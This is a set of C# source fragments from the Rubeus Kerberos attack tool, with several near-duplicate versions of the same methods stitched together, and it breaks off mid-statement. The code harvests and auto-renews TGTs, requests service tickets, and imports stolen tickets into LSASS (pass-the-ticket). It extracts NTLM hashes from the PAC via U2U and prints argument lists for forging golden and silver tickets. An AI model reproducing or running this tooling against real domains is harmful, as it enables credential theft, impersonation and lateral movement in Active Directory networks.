public void Execute(Dictionary <string, string> arguments) { if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else if (File.Exists(kirbi64)) { byte[] kirbiBytes = File.ReadAllBytes(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } else { Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); } return; } else { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } }
private void AddTicketsToTicketCache(List <KRB_CRED> tickets, bool displayNewTickets) { // adds a list of KRB_CREDs to the internal cache // displayNewTickets - display new TGTs as they're added, e.g. "monitor" mode bool newTicketsAdded = false; if (tickets == null) { throw new ArgumentNullException(nameof(tickets)); } foreach (var ticket in tickets) { var newTgtBytes = Convert.ToBase64String(ticket.RawBytes); var ticketInCache = false; foreach (var cachedTicket in harvesterTicketCache) { // check the base64 of the raw ticket bytes to see if we've seen it before if (Convert.ToBase64String(cachedTicket.RawBytes) == newTgtBytes) { ticketInCache = true; break; } } if (ticketInCache) { continue; } var endTime = TimeZone.CurrentTimeZone.ToLocalTime(ticket.enc_part.ticket_info[0].endtime); if (endTime < DateTime.Now) { // skip if the ticket is expired continue; } harvesterTicketCache.Add(ticket); newTicketsAdded = true; if (displayNewTickets) { Console.WriteLine($"\r\n[*] {DateTime.Now.ToUniversalTime()} UTC - Found new TGT:\r\n"); LSA.DisplayTicket(ticket, 2, true, true, false, this.nowrap); } } if (displayNewTickets && newTicketsAdded) { Console.WriteLine("[*] Ticket cache size: {0}\r\n", harvesterTicketCache.Count); } }
private void RefreshTicketCache(bool display = false) { // goes through each ticket in the cache, removes any tickets that have expired // and renews any tickets that are going to expire before the next check interval // then displays the current "active" ticket cache if "display" is passed as true if (display) { Console.WriteLine("\r\n[*] Refreshing TGT ticket cache ({0})\r\n", DateTime.Now); } for (var i = harvesterTicketCache.Count - 1; i >= 0; i--) { var endTime = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].endtime); var renewTill = TimeZone.CurrentTimeZone.ToLocalTime(harvesterTicketCache[i].enc_part.ticket_info[0].renew_till); var userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; var domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; // check if the ticket has now expired if (endTime < DateTime.Now) { Console.WriteLine("[!] Removing TGT for {0}@{1}\r\n", userName, domainName); // remove the ticket from the cache Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); harvesterTicketCache.RemoveAt(i); Console.WriteLine("harvesterTicketCache count: {0}", harvesterTicketCache.Count); } else { // check if the ticket is going to expire before the next interval checkin // but we'll still be in the renew window if ((endTime < DateTime.Now.AddSeconds(monitorIntervalSeconds)) && (renewTill > DateTime.Now.AddSeconds(monitorIntervalSeconds))) { // renewal limit after checkin interval, so renew the TGT userName = harvesterTicketCache[i].enc_part.ticket_info[0].pname.name_string[0]; domainName = harvesterTicketCache[i].enc_part.ticket_info[0].prealm; Console.WriteLine("[*] Renewing TGT for {0}@{1}\r\n", userName, domainName); var bytes = Renew.TGT(harvesterTicketCache[i], "", false, "", false); var renewedCred = new KRB_CRED(bytes); harvesterTicketCache[i] = renewedCred; } if (display) { LSA.DisplayTicket(harvesterTicketCache[i], 2, true, true, false, this.nowrap); } } } if (display) { Console.WriteLine("[*] Ticket cache size: {0}", harvesterTicketCache.Count); } }
public void Execute(Dictionary <string, string> arguments) { string kirbi64; if (!arguments.TryGetValue("/ticket", out kirbi64)) { Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n"); return; } if (Helpers.IsBase64String(kirbi64)) { LSA.DisplayTicket(new KRB_CRED(Convert.FromBase64String(kirbi64))); return; } if (File.Exists(kirbi64)) { LSA.DisplayTicket(new KRB_CRED(File.ReadAllBytes(kirbi64))); return; } Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n"); return; }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 13) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = rep.crealm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public static byte[] InnerTGT(AS_REQ asReq, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool verbose = false) { if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); } string dcIP = Networking.GetDCIP(domainController, false); if (String.IsNullOrEmpty(dcIP)) { throw new RubeusException("[X] Unable to get domain controller address"); } byte[] response = Networking.SendBytes(dcIP, 88, asReq.Encode().Encode()); if (response == null) { throw new RubeusException("[X] No answer from domain controller"); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { if (verbose) { Console.WriteLine("[+] TGT request successful!"); } // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); throw new KerberosErrorException("", error); } else { throw new RubeusException("[X] Unknown application tag: " + responseTag); } }
private static byte[] HandleASREP(AsnElt responseAsn, Interop.KERB_ETYPE etype, string keyString, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, AS_REQ asReq = null, string serviceKey = "", bool getCredentials = false, string dcIP = "") { // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key; if (GetPKInitRequest(asReq, out PA_PK_AS_REQ pkAsReq)) { // generate the decryption key using Diffie Hellman shared secret PA_PK_AS_REP pkAsRep = (PA_PK_AS_REP)rep.padata[0].value; key = pkAsReq.Agreement.GenerateKey(pkAsRep.DHRepInfo.KDCDHKeyInfo.SubjectPublicKey.DepadLeft(), new byte[0], pkAsRep.DHRepInfo.ServerDHNonce, GetKeySize(etype)); } else { // convert the key string to bytes key = Helpers.StringToByteArray(asReq.keyString); } // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(serviceKey) ? null : Helpers.StringToByteArray(serviceKey), key); } if (getCredentials) { Console.WriteLine("[*] Getting credentials using U2U\r\n"); byte[] u2uBytes = TGS_REQ.NewTGSReq(info.pname.name_string[0], info.prealm, info.pname.name_string[0], cred.tickets[0], info.key.keyvalue, (Interop.KERB_ETYPE)info.key.keytype, Interop.KERB_ETYPE.subkey_keymaterial, false, String.Empty, false, false, false, false, cred, "", true); byte[] u2uResponse = Networking.SendBytes(dcIP, 88, u2uBytes); if (u2uResponse == null) { return(null); } AsnElt u2uResponseAsn = AsnElt.Decode(u2uResponse); // check the response value int responseTag = u2uResponseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { // parse the response to an TGS-REP and get the PAC TGS_REP u2uRep = new TGS_REP(u2uResponseAsn); EncTicketPart u2uEncTicketPart = u2uRep.ticket.Decrypt(info.key.keyvalue, key); PACTYPE pt = u2uEncTicketPart.GetPac(key); // look for the credential information and print foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is PacCredentialInfo ci) { Console.WriteLine(" CredentialInfo :"); Console.WriteLine(" Version : {0}", ci.Version); Console.WriteLine(" EncryptionType : {0}", ci.EncryptionType); if (ci.CredentialInfo.HasValue) { Console.WriteLine(" CredentialData :"); Console.WriteLine(" CredentialCount : {0}", ci.CredentialInfo.Value.CredentialCount); foreach (var credData in ci.CredentialInfo.Value.Credentials) { string hash = ""; if ("NTLM".Equals(credData.PackageName.ToString())) { int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); if (flags == 3) { hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } else { hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); } } else { hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); } Console.WriteLine(" {0} : {1}", credData.PackageName, hash); } } else { Console.WriteLine(" CredentialData : *** NO KEY ***"); } } } } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(u2uResponseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } } return(kirbiBytes); }
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, string service, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, string outfile = "", bool ptt = false, string domainController = "", bool display = true, bool enterprise = false, bool roast = false, bool opsec = false, KRB_CRED tgs = null, string targetDomain = "", string servicekey = "", string asrepkey = "", bool u2u = false, string targetUser = "", bool printargs = false) { string dcIP = Networking.GetDCIP(domainController, display); if (String.IsNullOrEmpty(dcIP)) { return(null); } if (display) { if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { Console.WriteLine("[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket", requestEType); } else { Console.WriteLine("[*] Requesting '{0}' etype for the service ticket", requestEType); } if (!String.IsNullOrEmpty(service)) { Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service); } else if (u2u) { Console.WriteLine("[*] Building User-to-User TGS-REQ request for: '{0}'", userName); } else { Console.WriteLine("[*] Building TGS-REQ request"); } } // if /service is empty get name from the supplied /tgs if (u2u && tgs != null && String.IsNullOrEmpty(service)) { service = tgs.enc_part.ticket_info[0].pname.name_string[0]; } byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, paEType, requestEType, false, targetUser, enterprise, roast, opsec, false, tgs, targetDomain, u2u); byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes); if (response == null) { return(null); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) { if (display) { Console.WriteLine("[+] TGS request successful!"); } // parse the response to an TGS-REP TGS_REP rep = new TGS_REP(responseAsn); // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 byte[] outBytes = Crypto.KerberosDecrypt(paEType, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher); AsnElt ae = AsnElt.Decode(outBytes); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // if using /opsec and the ticket is for a server configuration for unconstrained delegation, request a forwardable TGT if (opsec && (!roast) && ((encRepPart.flags & Interop.TicketFlags.ok_as_delegate) != 0)) { byte[] tgtBytes = TGS_REQ.NewTGSReq(userName, domain, string.Format("krbtgt/{0}", domain), providedTicket, clientKey, paEType, requestEType, false, "", enterprise, roast, opsec, true); byte[] tgtResponse = Networking.SendBytes(dcIP, 88, tgtBytes); } // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = rep.crealm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } if (String.IsNullOrEmpty(servicekey) && u2u) { servicekey = Helpers.ByteArrayToString(clientKey); } if (display) { Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); if (Rubeus.Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, false, false, string.IsNullOrEmpty(servicekey) ? null : Helpers.StringToByteArray(servicekey), string.IsNullOrEmpty(asrepkey) ? null : Helpers.StringToByteArray(asrepkey)); } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (display) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (!String.IsNullOrEmpty(servicekey) && printargs) { var decryptedEncTicket = cred.tickets[0].Decrypt(Helpers.StringToByteArray(servicekey), null); PACTYPE pt = decryptedEncTicket.GetPac(null); if (pt == null) { Console.WriteLine("[X] Unable to get the PAC"); return(kirbiBytes); } string outArgs = String.Empty; foreach (var pacInfoBuffer in pt.PacInfoBuffers) { if (pacInfoBuffer is LogonInfo li) { outArgs = String.Format("/user:{0} /id:{1} /pgid:{2} /logoncount:{3} /badpwdcount:{4} /sid:{5} /netbios:{6}", li.KerbValidationInfo.EffectiveName, li.KerbValidationInfo.UserId, li.KerbValidationInfo.PrimaryGroupId, li.KerbValidationInfo.LogonCount, li.KerbValidationInfo.BadPasswordCount, li.KerbValidationInfo.LogonDomainId.GetValue(), li.KerbValidationInfo.LogonDomainName); if (!String.IsNullOrEmpty(li.KerbValidationInfo.FullName.ToString())) { outArgs = String.Format("{0} /displayname:\"{1}\"", outArgs, li.KerbValidationInfo.FullName); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonScript.ToString())) { outArgs = String.Format("{0} /scriptpath:\"{1}\"", outArgs, li.KerbValidationInfo.LogonScript); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.ProfilePath.ToString())) { outArgs = String.Format("{0} /profilepath:\"{1}\"", outArgs, li.KerbValidationInfo.ProfilePath); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectory.ToString())) { outArgs = String.Format("{0} /homedir:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectory); } if (!String.IsNullOrEmpty(li.KerbValidationInfo.HomeDirectoryDrive.ToString())) { outArgs = String.Format("{0} /homedrive:\"{1}\"", outArgs, li.KerbValidationInfo.HomeDirectoryDrive); } if (li.KerbValidationInfo.GroupCount > 0) { outArgs = String.Format("{0} /groups:{1}", outArgs, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.SidCount > 0) { outArgs = String.Format("{0} /sids:{1}", outArgs, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); } if (li.KerbValidationInfo.ResourceGroupCount > 0) { outArgs = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", outArgs, li.KerbValidationInfo.ResourceGroupDomainSid.GetValue().ToString(), li.KerbValidationInfo.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); } try { outArgs = String.Format("{0} /logofftime:\"{1}\"", outArgs, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); } catch { } DateTime?passLastSet = null; try { passLastSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)); } catch { } if (passLastSet != null) { outArgs = String.Format("{0} /pwdlastset:\"{1}\"", outArgs, ((DateTime)passLastSet).ToLocalTime()); DateTime?passCanSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)); } catch { } if (passCanSet != null) { outArgs = String.Format("{0} /minpassage:{1}d", outArgs, (((DateTime)passCanSet) - ((DateTime)passLastSet)).Days); } DateTime?passMustSet = null; try { passCanSet = DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)); } catch { } if (passMustSet != null) { outArgs = String.Format("{0} /maxpassage:{1}d", outArgs, (((DateTime)passMustSet) - ((DateTime)passLastSet)).Days); } } if (!String.IsNullOrEmpty(li.KerbValidationInfo.LogonServer.ToString())) { outArgs = String.Format("{0} /dc:{1}.{2}", outArgs, li.KerbValidationInfo.LogonServer.ToString(), cred.tickets[0].realm); } if ((Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) { outArgs = String.Format("{0} /uac:{1}", outArgs, String.Format("{0}", (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl).Replace(" ", "")); } } } Console.WriteLine("\r\n[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:\r\n\r\n{0}\r\n", outArgs); } return(kirbiBytes); } else if (responseTag == (int)Interop.KERB_MESSAGE_TYPE.ERROR) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code); } else { Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag); } return(null); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n"); byte[] serviceKey = null; byte[] asrepKey = null; byte[] krbKey = null; string serviceUser = ""; string serviceDomain = ""; if (arguments.ContainsKey("/servicekey")) { serviceKey = Helpers.StringToByteArray(arguments["/servicekey"]); } if (arguments.ContainsKey("/asrepkey")) { asrepKey = Helpers.StringToByteArray(arguments["/asrepkey"]); } if (arguments.ContainsKey("/krbkey")) { krbKey = Helpers.StringToByteArray(arguments["/krbkey"]); } // for generating service ticket hash when using AES256 if (arguments.ContainsKey("/serviceuser")) { serviceUser = arguments["/serviceuser"]; } if (arguments.ContainsKey("/servicedomain")) { serviceDomain = arguments["/servicedomain"]; } if (arguments.ContainsKey("/ticket")) { string kirbi64 = arguments["/ticket"]; if (Helpers.IsBase64String(kirbi64)) { byte[] kirbiBytes = Convert.FromBase64String(kirbi64); KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi, 2, false, false, true, false, serviceKey, 